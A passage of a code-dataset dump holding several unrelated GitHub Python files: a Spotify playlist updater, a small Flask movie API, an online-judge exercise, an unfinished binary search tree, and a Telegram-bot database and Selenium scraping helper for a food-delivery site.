\"Q4\"])\n\n        if quartile == \"Q1\":\n            ranges.append([summary_statistics[\"minimum\"], summary_statistics[\"Q1\"]])\n            descriptors.append(\"bottom 25%\")\n        elif quartile == \"Q2\":\n            ranges.append([summary_statistics[\"Q1\"], summary_statistics[\"mean\"]])\n            ranges.append(\"lower-middle 25%\")\n        elif quartile == \"Q3\":\n            ranges.append([summary_statistics[\"mean\"], summary_statistics[\"Q3\"]])\n            descriptors.append(\"upper-middle 25%\")\n        elif quartile == \"Q4\":\n            ranges.append([summary_statistics[\"Q3\"], summary_statistics[\"maximum\"]])\n            descriptors.append(\"highest 25%\")\n\n    shift_playlist_sql = f\"\"\"\n    SELECT s.id\n    FROM v_songs s\n             JOIN artists_songs \"as\" ON \"as\".song_id = s.id\n             JOIN artists a ON a.id = \"as\".artist_id\n             JOIN artists_genres ag ON ag.artist_id = a.id\n             JOIN genres g on g.id = ag.genre_id\n    WHERE s.{first_characteristic} BETWEEN {ranges[0][0]} AND {ranges[0][1]}\n        AND s.{second_characteristic} BETWEEN {ranges[1][0]} AND {ranges[1][1]}\n        AND s.is_blacklisted = FALSE\n        AND a.is_blacklisted = FALSE\n    GROUP BY s.id, s.name\n    ORDER BY RANDOM()\n    LIMIT 100;\n    \"\"\"\n\n    description = f\"100 randomly selected songs tracked by VaultBot within the {descriptors[0]} \" \\\n                  f\"{first_characteristic} and the {descriptors[1]} {second_characteristic}.\"\n\n    sp.playlist_change_details(playlist_id=SHIFT_PLAYLIST_ID, description=description)\n    update_playlist(playlist_id=SHIFT_PLAYLIST_ID, playlist_sql=shift_playlist_sql, conn=conn)\n    # endregion\n\n    logger.info(f\"Updating aggregate playlist Party (id: {PARTY_PLAYLIST_ID})\")\n    update_playlist(playlist_id=PARTY_PLAYLIST_ID, playlist_sql=party_playlist_sql, conn=conn)\n\n    logger.info(f\"Updating aggregate playlist Party Unfiltered (id: {PARTY_UNFILTERED_PLAYLIST_ID})\")\n    update_playlist(playlist_id=PARTY_UNFILTERED_PLAYLIST_ID, playlist_sql=party_unfiltered_playlist_sql, conn=conn)\n\n    logger.info(f\"Updating aggregate playlist Top 50 (id: {TOP_50_PLAYLIST_ID})\")\n    update_playlist(playlist_id=TOP_50_PLAYLIST_ID, playlist_sql=top_50_playlist_sql, conn=conn)\n\n    logger.info(f\"Updating aggregate playlist Chill (id: {CHILL_PLAYLIST_ID})\")\n    update_playlist(playlist_id=CHILL_PLAYLIST_ID, playlist_sql=chill_playlist_sql, conn=conn)\n\n    logger.info(f\"Updating aggregate playlist Cheerful (id: {LIGHT_PLAYLIST_ID})\")\n    update_playlist(playlist_id=LIGHT_PLAYLIST_ID, playlist_sql=light_playlist_sql, conn=conn)\n\n    logger.info(f\"Updating aggregate playlist Moody (id: {MOODY_PLAYLIST_ID})\")\n    update_playlist(playlist_id=MOODY_PLAYLIST_ID, playlist_sql=moody_playlist_sql, conn=conn)\n\n    logger.info(f\"Updating aggregate playlist Energy (id: {ENERGY_PLAYLIST_ID})\")\n    update_playlist(playlist_id=ENERGY_PLAYLIST_ID, playlist_sql=energy_playlist_sql, conn=conn)\n\n    conn.terminate()\n    logger.info(\"Aggregate playlist generation complete!\")\n\n\ndef aggregate_tracks(conn: DatabaseConnection, sql: str) -> list:\n    \"\"\"\n    @param conn: DatabaseConnection object\n    @param sql: Raw SQL to execute\n    @return: List of track IDs\n    \"\"\"\n    tracks = conn.select_query_raw(sql=sql)\n    return [x[0] for x in tracks]\n\n\ndef update_playlist(conn: DatabaseConnection, playlist_id: str, playlist_sql: str):\n    # pull existing tracks\n    existing_tracks = get_spotify_playlist_songs(playlist_id=playlist_id)\n    if len(existing_tracks) > 0:\n        existing_tracks = [track['track']['id'] for track in existing_tracks]\n    else:\n        existing_tracks = None\n\n    # compare existing tracks with aggregated tracks from playlist,\n    # and remove existing track if not present in aggregate\n    aggregated_tracks = aggregate_tracks(sql=playlist_sql, conn=conn)\n    tracks_to_remove = []\n    if existing_tracks is not None:\n        for track_id in existing_tracks:\n            if track_id not in aggregated_tracks:\n                tracks_to_remove.append(track_id)\n\n    if len(tracks_to_remove) > 0:\n        logger.debug(f\"Removing {len(tracks_to_remove)} tracks from playlist\")\n        if len(tracks_to_remove) > 100:\n            logger.debug(f\"Splitting tracks into chunks of 100\")\n            chunked_tracks_to_remove = list(array_chunks(tracks_to_remove, 100))\n            for chunked_list in chunked_tracks_to_remove:\n                logger.debug(f\"Removing {len(chunked_list)} tracks\")\n                sp.playlist_remove_all_occurrences_of_items(playlist_id=playlist_id,\n                                                            items=chunked_list)\n        else:\n            sp.playlist_remove_all_occurrences_of_items(playlist_id=playlist_id,\n                                                        items=tracks_to_remove)\n    else:\n        logger.debug(\"No tracks require removal from playlist\")\n\n    # isolated aggregated tracks to only those that do not already exist in playlist\n    # then only add those\n    if existing_tracks is not None:\n        for track_id in existing_tracks:\n            try:\n                aggregated_tracks.remove(track_id)\n            except ValueError:  # track_id not present in aggregated_tracks\n                pass\n    # ensure that if no deletion occurred, no tracks are added\n\n    if len(aggregated_tracks) > 0:\n        logger.debug(f\"Adding {len(aggregated_tracks)} replacement tracks to playlist\")\n        if len(aggregated_tracks) > 100:  # max 100 songs per request\n            logger.debug(f\"Splitting tracks into chunks of 100\")\n            chunked_aggregated_tracks = list(array_chunks(aggregated_tracks, 100))\n            for chunked_list in chunked_aggregated_tracks:\n                logger.debug(f\"Adding {len(chunked_list)} tracks\")\n                sp.playlist_add_items(playlist_id=playlist_id, items=chunked_list)\n        else:\n            sp.playlist_add_items(playlist_id=playlist_id, items=aggregated_tracks)\n    else:\n        logger.debug(\"Skipping song addition since no songs require removal\")\n\n\ndef get_viable_genres(conn: DatabaseConnection) -> list:\n    \"\"\"\n    Retrieves genres containing a minimum of 20 songs from 4+ artists\n    \"\"\"\n    sql = \"\"\"\n    SELECT g.id, g.name, COUNT(s.id)\n    FROM songs s\n             JOIN artists_songs \"as\" ON \"as\".song_id = s.id\n             JOIN artists a ON a.id = \"as\".artist_id\n             JOIN artists_genres ag ON ag.artist_id = a.id\n             JOIN genres g on ag.genre_id = g.id\n    GROUP BY g.id, g.name\n    HAVING COUNT(s.id) >= 20\n       AND COUNT(DISTINCT a.id) >= 4\n    ORDER BY COUNT(s.id) DESC;\n    \"\"\"\n\n    return conn.select_query_raw(sql=sql)\n\n\ndef get_viable_characteristics(conn: DatabaseConnection) -> list:\n    \"\"\"\n    Gets a list of song characteristics that are tracked in the songs table\n    \"\"\"\n    sql = \"\"\"\n    SELECT\n    column_name\n    FROM\n        information_schema.columns\n    WHERE\n        table_name = 'songs'\n        AND data_type = 'numeric'\n        AND column_name NOT IN ('length', 'loudness')\n    \"\"\"\n\n    characteristics = conn.select_query_raw(sql=sql)\n    return [x[0] for x in characteristics]\n\n\ndef get_summary_statistics(conn: DatabaseConnection, characteristic: str) -> dict:\n    \"\"\"\n    Gets a summary of statistics a song characteristic\n    \"\"\"\n    sql = f\"\"\"\n    WITH RECURSIVE\n    summary_stats AS\n    (\n     SELECT \n      ROUND(AVG({characteristic}), 2) AS mean,\n      PERCENTILE_CONT(0.5) WITHIN GROUP (ORDER BY {characteristic}) AS median,\n      MIN({characteristic}) AS min,\n      MAX({characteristic}) AS max,\n      MAX({characteristic}) - MIN({characteristic}) AS range,\n      ROUND(STDDEV({characteristic}), 2) AS standard_deviation,\n      ROUND(VARIANCE({characteristic}), 2) AS variance,\n      PERCENTILE_CONT(0.25) WITHIN GROUP (ORDER BY {characteristic}) AS q1,\n      PERCENTILE_CONT(0.75) WITHIN GROUP (ORDER BY {characteristic}) AS q3\n       FROM songs\n    ),row_summary_stats AS\n    (\n    SELECT \n     1 AS sno, \n     'mean' AS statistic, \n     mean AS value \n      FROM summary_stats\n    UNION\n    SELECT \n     2, \n     'median', \n     median \n      FROM summary_stats\n    UNION\n    SELECT \n     3, \n     'minimum', \n     min \n      FROM summary_stats\n    UNION\n    SELECT \n     4, \n     'maximum', \n     max \n      FROM summary_stats\n    UNION\n    SELECT \n     5, \n     'range', \n     range \n      FROM summary_stats\n    UNION\n    SELECT \n     6, \n     'standard deviation', \n     standard_deviation \n      FROM summary_stats\n    UNION\n    SELECT \n     7, \n     'variance', \n     variance \n      FROM summary_stats\n    UNION\n    SELECT \n     9, \n     'Q1', \n     q1 \n      FROM summary_stats\n    UNION\n    SELECT \n     10, \n     'Q3', \n     q3 \n      FROM summary_stats\n    UNION\n    SELECT \n     11, \n     'IQR', \n     (q3 - q1) \n      FROM summary_stats\n    UNION\n    SELECT \n     12, \n     'skewness', \n     ROUND(3 * (mean - median)::NUMERIC / standard_deviation, 2) AS skewness \n      FROM summary_stats\n    )SELECT * \n     FROM row_summary_stats\n      ORDER BY sno;\n    \"\"\"\n\n    summary_stats = conn.select_query_raw(sql=sql)\n    return {x[1]: x[2] for x in summary_stats}\n\n\ndef songs_and_artists_exist(conn: DatabaseConnection) -> bool:\n    \"\"\"\n    Checks that songs and artists tables exist in database\n    \"\"\"\n    songs_sql = \"\"\"SELECT COUNT(*) FROM songs;\"\"\"\n    num_songs = conn.select_query_raw(sql=songs_sql)\n    if num_songs[0][0] == 0:\n        return False\n\n    artists_sql = \"\"\"SELECT COUNT(*) FROM artists;\"\"\"\n    num_artists = conn.select_query_raw(sql=artists_sql)\n    if num_artists[0][0] == 0:\n        return False\n\n    return True\n","repo_name":"tbrittain/vault-bot","sub_path":"discord/src/spotify_selects.py","file_name":"spotify_selects.py","file_ext":"py","file_size_in_byte":13756,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"2912420527","text":"from flask import Flask, request\n\nfilmes = [\n    {'nome': 'Harry Potter', 'descricao': 'filme sobre uma escola de bruxaria', 'id': \"0\"},\n    {'nome': 'Velozes e Furiosos', 'descricao': 'Filme de acao com corrida ',\n        'id': \"1\"},  # Sem caracteres especiais para não bugar o browser\n    {'nome': 'Homem-Aranha', 'descricao': 'Historia de um super heroi', 'id': \"2\"}\n]\n\napp = Flask(__name__)\n\n# Página inicil.\n\n\n@app.route(\"/\")\ndef home():\n    return \"<h1>Página Inicial de filmes</h1>\"\n\n    # Mostra a lista de filmes.\n\n\n@app.route(\"/filmes\", methods=[\"GET\"])\ndef get():\n    return {'filmes': filmes}\n\n# Coloca um novo filme na lista de filmes.\n\n\n@app.route(\"/novo_filme\", methods=[\"POST\"])\ndef post():\n    body = request.json\n    if (\"descricao\" not in body):\n        return {\"status\": 400, \"mensagem\": \"O paramentro descrição é obrigatorio\"}\n\n    if (\"id\" not in body):\n        return {\"status\": 400, \"mensagem\": \"O paramentro id é obrigatorio\"}\n\n    if (\"nome\" not in body):\n        return {\"status\": 400, \"mensagem\": \"O paramentro nome é obrigatorio\"}\n\n    filmes.append({\"id\": f'{body[\"id\"]}', \"nome\": f'{body[\"nome\"]}', 'descricao': f'{body[\"descricao\"]}'})\n\n    return {'filmes': filmes}\n\n    # Atualizar algum filme\n\n\n@app.route(\"/atualizar_filme/<id>\", methods=[\"PATCH\"])\ndef patch(id):\n    body = request.json\n    intId = int(id)\n\n    filmes[intId][\"nome\"] = body[\"nome\"]\n\n    filmes[intId][\"descricao\"] = body[\"descricao\"]\n\n    filmes[intId][\"nome\"] = body[\"nome\"]\n\n    return {'filmes': filmes[intId]}\n\n# Deletar filme\n@app.route(\"/deletar_filme/<id_filme>\", methods=[\"DELETE\"])\ndef delete(id_filme):\n    for filme in filmes:\n        if filme[\"id\"] == id_filme:\n            filmes.pop(filmes.index(filme))\n\n    return {'filmes': filmes}\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"JardielCarlos/API-Python","sub_path":"API.py","file_name":"API.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31713096682","text":"#1131 Grenais\ncont = cont_inter = cont_gremio = cont_empate = 0\nwhile True:\n    inter, gremio = map(int, input().split())\n    print('Novo grenal (1-sim 2-nao)')\n    opcao = int(input())\n    cont = cont + 1\n    if inter > gremio:\n        cont_inter = cont_inter + 1\n    elif gremio > inter:\n        cont_gremio = cont_gremio + 1\n    if inter == gremio:\n        cont_empate = cont_empate + 1\n\n    while opcao < 1 or opcao > 2:\n        print('Novo grenal (1-sim 2-nao)')\n        opcao = int(input())\n    if opcao == 2:\n        print('{} grenais'.format(cont))\n        print('Inter:{}'.format(cont_inter))\n        print('Gremio:{}'.format(cont_gremio))\n        print('Empates:{}'.format(cont_empate))\n        if cont_inter > cont_gremio:\n            print('Inter venceu mais')\n        elif cont_gremio > cont_inter:\n            print('Gremio venceu mais')\n        break\n","repo_name":"wagnersistemalima/Exercicios-Python-URI-Online-Judge-Problems---Contests","sub_path":"Pacote Dawload/Projeto progamas Python/ex1131 Grenais.py","file_name":"ex1131 Grenais.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"24045405012","text":"class BinarySearchTreeMap:\r\n    class item:\r\n        def __init__(self, key, value = None):\r\n            self.key = key\r\n            self.value = value\r\n    \r\n    class Node:\r\n        def __init__(self, item):\r\n            self.data = item.value\r\n            self.right = None\r\n            self.left = None\r\n            self.parent = None\r\n        \r\n        def num_children(self):\r\n            count = 0\r\n            if self.left is not None:\r\n                count += 1\r\n            if self.right is not None:\r\n                count += 1\r\n            return count\r\n        \r\n        def disconnect(self):\r\n            self.data = None\r\n            self.left = None\r\n            self.right = None\r\n            self.parent = None\r\n    \r\n    def __init__(self):\r\n        self.root = None\r\n        self.size = 0\r\n    \r\n    def __len__(self):\r\n        return self.size\r\n\r\n    def is_empty(self):\r\n        return self.size == 0\r\n    \r\n    def __getitem__(self, key):\r\n        node = self.find_node(key)\r\n        if node is not None:\r\n            return node.item.value\r\n        raise KeyError(\"Key not found\")\r\n    \r\n    def __setitem__(self, key, value):\r\n        node = self.find_node(key)\r\n        if node is not None:\r\n            node.item.value = value\r\n            return\r\n        else:\r\n            self.insert(key, value)\r\n            return\r\n        \r\n    def __delitem__(self, key):\r\n        node = self.find_node(key)\r\n        if node is not None:\r\n            return self.deleteNode(node)\r\n        raise KeyError(\"Key is Not Found\")\r\n    \r\n    def deleteNode(self, node):\r\n        pass\r\n        \r\n    def insert(self, key, value):\r\n        new_item = BinarySearchTreeMap.item(key, value)\r\n        new_node = BinarySearchTreeMap.Node(new_item)\r\n        parent = self.root\r\n        currNode = self.root\r\n        if parent.item.key < key:\r\n            currNode = parent.right\r\n        else:\r\n            currNode = parent.left\r\n            \r\n        while parent is not None:\r\n            if parent.item.key < key:\r\n                parent = parent.right\r\n            else:\r\n                parent = parent.left\r\n        \r\n        if parent.item.key < key:\r\n            parent.right = new_node\r\n        else:\r\n            parent.left = new_node\r\n            \r\n        new_node.parent = parent\r\n        self.size += 1\r\n        \r\n                        \r\n    def find_node(self, key):\r\n        curr = self.root\r\n        while curr is not None:\r\n            if curr.item.key == key:\r\n                return curr.item\r\n            elif curr.item.key < key:\r\n                curr = curr.right\r\n            else:\r\n                curr = curr.left\r\n        return None\r\n    \r\ndef main():\r\n    bst = BinarySearchTreeMap()\r\n    bst.insert()\r\n    \r\n    \r\n    \r\n    \r\n    \r\nmain()","repo_name":"tywenrick3/Data-Structures-Algorithms-Work","sub_path":"BinarySearchTreeMap.py","file_name":"BinarySearchTreeMap.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"23168012934","text":"from tkinter.messagebox import QUESTION\nfrom typing import final\nfrom requests import delete\nimport sqlalchemy as db\nfrom sqlalchemy import Table, Column, Integer, String, MetaData, ForeignKey,  distinct\nimport random\nimport json\n\nfrom selenium import webdriver\nfrom selenium.webdriver import Keys, ActionChains\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.by import By\nimport time\nimport requests\nimport os\n\n# from utils.db_api.NLP_model import *\nengine = db.create_engine(f'sqlite:///utils/db_api/DB.sqlite')\nconnection = engine.connect()\nmetadata = db.MetaData()\n\n# Таблица Макса\nFriends = db.Table('Friends', metadata,\n                   autoload=True, autoload_with=engine)\n#\nOrder = db.Table('Order', metadata,\n                 autoload=True, autoload_with=engine)\n\n\n\nclass FuncM():\n    # Пример записи данных id и username в таблицу макса\n    def POST(id1, username1):\n        a = db.select([Friends.columns.id])\n        list_id = []\n        for i in connection.execute(a).fetchall():\n            list_id.append(i[0])\n        if str(id1) in list_id:\n            pass\n        else:\n            query = db.insert(Friends).values(id=id1, Username=username1,\n                                              Friends_id='',  id_reminder='')\n            ResultProxy = connection.execute(query)\n\n# Пример чтения данных username по id из таблицы макса\n    def GET(id):\n        a = db.select([Friends.columns.Username]).where(\n            Friends.columns.id == id)\n        list_username = []\n        for row in connection.execute(a).fetchall():\n            list_username.append(row[0])\n        return list_username\n\n    def GET_ID():\n        a = db.select([Friends.columns.id])\n        list_id = []\n        for row in connection.execute(a).fetchall():\n            list_id.append(row[0])\n        return list_id\n\n# Пример обновления данных в таблице макса\n    def UPDATE(id, username):\n        query = db.update(Friends).values(\n            Username=username)\n        query = query.where(Friends.columns.id == id)\n        ResultProxy = connection.execute(query)\n# Добваление дня напоминания\n\n\n# Добавление друзей\n\n\n    def Friends(id1, username):\n        list_id = []\n        list_fr = []\n        # айди потенциального друга\n        a = db.select([Friends.columns.id]).where(\n            Friends.columns.Username == username)\n        # список друзей\n        b = db.select([Friends.columns.Friends_id]).where(\n            Friends.columns.id == id1)\n        for row in connection.execute(a).fetchall():\n            list_id.append(row[0])\n        for row in connection.execute(b).fetchall():\n            list_fr.append(row[0])\n        if (list_fr[0] == ''):\n            query = db.update(Friends).values(\n                Friends_id=list_id[0]\n            )\n        else:\n            query = db.update(Friends).values(\n                Friends_id=list_fr[0]+','+list_id[0]\n            )\n\n        query = query.where(Friends.columns.id == id1)\n        ResultProxy = connection.execute(query)\n\n\n# Удаление друзей\n\n\n    def delete_friends(id1, username):\n        list_id = []\n        a = db.select([Friends.columns.id]).where(\n            Friends.columns.Username == username)\n        for row in connection.execute(a).fetchall():\n            list_id.append(row[0])\n        list_id_fr = []\n        b = db.select([Friends.columns.Friends_id]).where(\n            Friends.columns.id == id1)\n        for row in connection.execute(b).fetchall():\n            list_id_fr = row[0].split(',')\n        list_id_fr.remove(list_id[0])\n        str_id_fr = ','.join(list_id_fr)\n        query = db.update(Friends).values(\n            Friends_id=str_id_fr\n        )\n        query = query.where(Friends.columns.id == id1)\n        ResultProxy = connection.execute(query)\n\n\n# Запрос друзей\n\n\n    def get_friends(id1):\n        list_id = []\n        a = db.select([Friends.columns.Friends_id]).where(\n            Friends.columns.id == id1)\n        for row in connection.execute(a).fetchall():\n            list_id = row[0].split(',')\n        return list_id\n\n    def get_friends_smart(id1):\n        a = db.select([Friends.columns.Friends_id]).where(\n            Friends.columns.id == id1)\n        frnds = connection.execute(a).fetchall()[0][0].split(',')\n        b = db.select(Order.columns.id)\n        frnds_ =[]\n        for i in connection.execute(b).fetchall():\n            frnds_.append(i[0])\n\n        return list(set(frnds) - set(frnds_))\n\n# Запрос имени по id\n\n    def get_username_by_id(username):\n        str_id = ''\n        a = db.select([Friends.columns.id]).where(\n            Friends.columns.Username == username)\n        for row in connection.execute(a).fetchall():\n            str_id = row[0]\n        return str_id\n\n    def get_username_by_id1(id1):\n        str_id = ''\n        a = db.select([Friends.columns.Username]).where(\n            Friends.columns.id == id1)\n        for row in connection.execute(a).fetchall():\n            str_id = row[0]\n        return str_id\n\n\nclass My_Order():\n    # Добавление/изменение ресторана\n    def POST_REST(id1, link1):\n        list_id = FuncM.get_friends_smart(id1)\n        print(list_id)\n        if id1 in list_id:\n            query = db.update(Order).where(Order.columns.id == id1).values(\n                id=id1, link=link1, preminary_link='', final_link='', default=link1)\n            ResultProxy = connection.execute(query)\n        else:\n            query_id1 = query = db.insert(Order).values(\n                    id=id1, link=link1, preminary_link='', final_link='', default=link1)\n            ResultProxy = connection.execute(query_id1)\n            for id in list_id:\n                query = db.insert(Order).values(\n                    id=id, link=link1, preminary_link='', final_link='', default=link1)\n                ResultProxy = connection.execute(query)\n    #Шаг вперед\n    def POST_PATH(id1,link1):\n        a = db.select([Order.columns.link]).where(Order.columns.id == id1)\n        link = connection.execute(a).fetchall()[0]\n        query = db.update(Order).where(Order.columns.id == id1).values(\n                id=id1, link=link[0]+'|'+link1)\n        ResultProxy = connection.execute(query)\n    #ШАг назад\n    def DEL_PATH(id1):\n        a = db.select([Order.columns.link]).where(Order.columns.id == id1)\n        link = connection.execute(a).fetchall()[0][0]\n        link =  '|'.join(link.split('|')[:-1])\n        query = db.update(Order).where(Order.columns.id == id1).values(\n                link=link)\n        ResultProxy = connection.execute(query)\n    #zУдалить всё из пути до ресторана\n    def DEL_PATH_REST(id1):\n        a = db.select([Order.columns.default]).where(Order.columns.id == id1)\n        link = connection.execute(a).fetchall()[0][0]\n        query = db.update(Order).where(Order.columns.id == id1).values(\n                link=link)\n        ResultProxy = connection.execute(query)\n\n    #Добавление заказа в корзину\n    def POST_PRELIMINARY(id1):\n        a = db.select([Order.columns.link]).where(Order.columns.id == id1)\n        b = db.select([Order.columns.preminary_link]).where(Order.columns.id == id1)\n        link = connection.execute(a).fetchall()[0]\n        print(link)\n        pr_link = connection.execute(b).fetchall()[0]\n        print(pr_link)\n        if pr_link[0]=='':\n            query=db.update(Order).where(Order.columns.id == id1).values(\n                    preminary_link=link[0])\n            ResultProxy = connection.execute(query)\n        elif link[0] != pr_link[0]:\n            query = db.update(Order).where(Order.columns.id == id1).values(\n                id=id1, preminary_link=pr_link[0]+','+link[0])\n            ResultProxy = connection.execute(query)\n        else:\n            query = db.update(Order).where(Order.columns.id == id1).values(\n                id=id1, link=link[0], preminary_link=link[0], final_link='')\n            ResultProxy = connection.execute(query)\n\n    #Получить список продуктов из корзины\n    def GET_PR(id1):\n        b = db.select([Order.columns.preminary_link]).where(Order.columns.id == id1)\n        pr_link = connection.execute(b).fetchall()[0]\n        pr_link = pr_link[0].split(',')\n        products_list=[]\n        for i in pr_link:\n            products_list.append(i.split('|')[-1])\n        return products_list\n    #Удалить один продукт из корзины\n    def DEL_PRODUCT(id1, product):\n        b = db.select([Order.columns.preminary_link]).where(Order.columns.id == id1)\n        pr_link = connection.execute(b).fetchall()[0]\n        pr_link = pr_link[0].split(',')\n        for index,path in enumerate(pr_link):\n            if product in path:\n                pr_link.pop(index)\n                break\n        query = db.update(Order).where(Order.columns.id == id1).values(\n                preminary_link=','.join(pr_link))\n        ResultProxy = connection.execute(query)\n\n    #Добавление в финальный заказ\n    def POST_FINAL(id1):\n        a = db.select([Order.columns.preminary_link]).where(Order.columns.id == id1)\n        link = connection.execute(a).fetchall()[0]\n        print(link)\n        query = db.update(Order).where(Order.columns.id == id1).values(\n                id=id1, final_link=link[0])\n        ResultProxy = connection.execute(query)\n\n\n    # Удаление последнего заказа из корзины\n    def DEL_PR(id1):\n        a = db.select([Order.columns.preminary_link]).where(Order.columns.id == id1)\n        link = connection.execute(a).fetchall()[0][0]\n        link = link.split(',')[:-1]\n        query = db.update(Order).where(Order.columns.id == id1).values(\n                preliminary_link=link[0])\n        ResultProxy = connection.execute(query)\n\n    #Удаление финального заказа\n    def DEL_FINAL(id1):\n        query = db.update(Order).where(Order.columns.id == id1).values(\n                final_link='')\n        ResultProxy = connection.execute(query)\n\n\n\n    def main(id1):\n        with open('utils/json/delivery.json', 'r', encoding='UTF-8') as fcc_file:\n            fcc_data = json.load(fcc_file)\n            a = db.select([Order.columns.link]).where(Order.columns.id == id1)\n            link = connection.execute(a).fetchall()[0]\n            path = link[0].split('|')\n            if len(path) == 1:\n                cats= list(fcc_data[path[0]]['cats'].keys())\n                return cats\n            elif len(path) == 2:\n                products = list(fcc_data[path[0]]['cats'][path[1]].keys())\n                return products\n            elif len(path) == 3:\n                description = []\n                for i in list(fcc_data[path[0]]['cats'][path[1]][path[2]].values()):\n                    description.append(i)\n                return description\n\n    def getListProducts(id1):\n        with open('utils/json/delivery.json', 'r', encoding='UTF-8') as fcc_file:\n            fcc_data = json.load(fcc_file)\n            a = db.select([Order.columns.link]).where(Order.columns.id == id1)\n            link = connection.execute(a).fetchall()[0]\n            path = link[0].split('|')\n            products = list(fcc_data[path[0]]['cats'][path[1]].keys())\n            return products\n\n    def delString(id1):\n        query = db.update(Order).where(Order.columns.id == id1).values(\n                id='', link='', preminary_link='', final_link='', default='')\n        ResultProxy = connection.execute(query)\n\n    def getLinkRest(rest):\n        with open('utils/json/delivery.json', 'r', encoding='UTF-8') as fcc_file:\n            fcc_data = json.load(fcc_file)\n            return fcc_data[rest]['link']\n\n    def getPrice(id1):\n        with open('utils/json/delivery.json', 'r', encoding='UTF-8') as fcc_file:\n            fcc_data = json.load(fcc_file)\n            a = db.select([Order.columns.preminary_link]).where(Order.columns.id == id1)\n            link = connection.execute(a).fetchall()[0][0]\n            link = link.split(',')\n            price=0\n            for i in link:\n                path = i.split('|')\n                price+=int(fcc_data[path[0]]['cats'][path[1]][path[2]]['price'][0:-2])\n            return price\n\nclass ZAKAZ():\n\n    def get_products_info(driver,name, menu_list,rest, cat):\n        item = menu_list.find_elements(By.CLASS_NAME,\"menu-product__info-item\")\n        items = list(map(lambda x: x.text, item))   \n        descriptions = menu_list.find_elements(By.CLASS_NAME,\"menu-product__description\")\n        srs_list = get_img(menu_list, driver, rest, cat)\n        desc=[]\n        try:\n            for index,i in enumerate(item):\n                ActionChains(driver).move_to_element(i).perform()\n                print(descriptions[index].get_attribute('textContent'))\n                desc.append(descriptions[index].get_attribute('textContent'))\n                btn=  menues_list[index].find_elements(By.CLASS_NAME,\"menu-product__btn\")\n                btn.click()\n        except:\n            desc.append('')\n        print(desc)\n        prices = menu_list.find_elements(By.CLASS_NAME,\"menu-product__price\")\n        prices = list(map(lambda x: x.text, prices))\n        index = 0\n        for key,i in name.items():\n            name[key] = {'item': items[index],\n                        'price': prices[index],\n                        'description': desc[index+1],\n                        'rep_img': srs_list[index]\n                        }\n            index+=1\n\n    def get_products(driver,element,rest,list_info):\n        menues_list = driver.find_elements(By.CLASS_NAME,\"vendor-menu__section\")\n        index = 0\n        for key,i in element.items():\n            titles = menues_list[index].find_elements(By.CLASS_NAME,\"menu-product__title\")\n            element[key] = dict.fromkeys(list(map(lambda x: x.text,titles)))\n            time.sleep(5)\n            if titles == list_info[:-1]:\n                ZAKAZ.get_products_info(driver, element[key], menues_list[index],rest, key)\n                index+=1\n\n    def get_categories(rests,driver,list_info):\n        for key,i in rests.items():\n            if key == list_info[1]:\n                print(rests)\n                print(key)\n                print(rests[key]['link'])\n                driver.get(rests[key]['link'])\n                time.sleep(3)\n                    # try:\n                    # if len(list(driver.find_element(By.CLASS_NAME,\"popup__overlay\"))) == 0:\n                # btn = driver.find_element(By.CLASS_NAME,\"popup__close-button\")\n                # btn.click()\n                cats_elem = driver.find_elements(By.CLASS_NAME,\"vendor-categories__item\")\n                cats = dict.fromkeys(list(map(lambda x: x.text, cats_elem)))\n                ZAKAZ.get_products(driver, cats, key,list_info)\n                rests[key]['cats'] = cats\n            else:\n                continue\n\n    def get_restaurant(address, URL, driver, list_info):\n        driver.get(\"https://www.delivery-club.ru/moscow\")\n        time.sleep(3)\n        elem = driver.find_element(By.CLASS_NAME,\"address-input__location\")\n        elem.click()\n        input_el = driver.find_element(By.CLASS_NAME, 'address-suggest__search-input').send_keys(address)\n        time.sleep(3)\n        ActionChains(driver)\\\n                .key_down(Keys.ENTER)\\\n                .key_up(Keys.ENTER)\\\n                .perform()\n        time.sleep(3)\n        urls = driver.find_elements(By.CLASS_NAME,\"vendor-item__link\")\n        names = driver.find_elements(By.CLASS_NAME,\"vendor-item__title-text\")\n        times = driver.find_elements(By.CLASS_NAME,\"vendor-item__delivery-time\")\n        prices = driver.find_elements(By.CLASS_NAME,\"vendor-item__info-item\")\n        restaurants =dict.fromkeys(list(map(lambda x: x.text, names)))\n        index=0\n        for key,i in restaurants.items():\n            if key== list_info[0]:\n                restaurants[key]={'link':urls[index].get_attribute(\"href\"),\n                                'time':times[index].text,\n                                'minprice':prices[index].text,\n                                }\n                index+=1\n        return restaurants\n\n    def main(value):\n        address='Московская область, Дубна, садовое товарищество Заря, 2-й сектор, 33 \\n'\n        URL_TEMPLATE = \"https://www.delivery-club.ru/moscow?addressSuggestOpened=1\"\n        driver = webdriver.Chrome(ChromeDriverManager().install())\n        list_info = value.split('|')\n        rests = ZAKAZ.get_restaurant(address, URL_TEMPLATE, driver,list_info)\n        ZAKAZ.get_categories(rests,driver,list_info)\n        print(rests)\n\n# print(My_Order.getPrice('1234'))\n# FuncM.get_friends_smart('962483958')\n# ZAKAZ.main('Burger King|Популярные|Воппер')\n# def get_img(menu_list, driver, rest, cat):\n#         images = menu_list.find_elements(By.CLASS_NAME,\"menu-product__img\")\n#         time.sleep(3)\n#         imgs=[]\n#         for i in images:\n#             imgs.append(i.get_attribute(\"data-src\"))\n#         names = download_img(imgs, rest, cat)\n#         time.sleep(3)\n#         return names\n    \n# def download_img(imgs, rest, cat ):\n#         # rep = \"D:/Пользователь/User/GitHub/zona/\"+cat+'/'+rest+'/'\n#     images_path = 'images'\n#     if not os.path.exists(images_path):\n#         os.mkdir(images_path)\n\n#     names = []\n#     for src in imgs:\n#         try:\n#             index = random.randint(0, 2000)\n#             name = images_path + f\"/{index}.jpg\"\n#             print(src)\n#                 # name = f'{index}.jpg'\n#             p = requests.get(src)\n#             out = open(name, \"wb\")\n#             out.write(p.content)\n#             out.close()\n#                 # urllib.request.urlretrieve(src, rep+name)\n#             names.append(name)\n#         except:\n#             name=''\n#             